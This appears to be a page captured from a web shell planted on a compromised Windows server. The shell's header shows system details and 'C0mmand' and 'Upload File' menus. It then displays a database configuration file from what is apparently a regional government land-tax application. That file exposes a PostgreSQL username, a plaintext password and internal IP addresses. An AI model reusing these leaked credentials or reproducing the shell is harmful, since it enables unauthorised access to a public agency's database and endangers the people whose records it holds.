|
Server IP : 127.0.0.1 / Your IP : 127.0.0.1 Web Server : Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3 System : Windows NT WIN-R7LTCC7BPLI 6.3 build 9200 (Windows Server 2012 R2 Datacenter Edition) i586 User : GerbangSIPAD ( 0) PHP Version : 5.6.3 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : C:/xampp5/htdocs/ppat_online_kolaka/_protected/config/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
$databaseName = 'pbb_nsp';
$userName = 'postgres';
$password = 'N4ta_d3p';
$serverAddress = '192.168.10.100';
$databaseAddress = '127.0.0.1';
$port = 5432;
return [
'class' => 'yii\db\Connection',
'dsn' => 'pgsql:host=' . $databaseAddress . ';dbname=' . $databaseName . ';port=' . $port,
'username' => $userName,
'password' => $password,
'charset' => 'utf8',
'schemaMap' => [
'pgsql' => [
'class' => 'yii\db\pgsql\Schema',
'defaultSchema' => 'bphtb_online',
]
],
];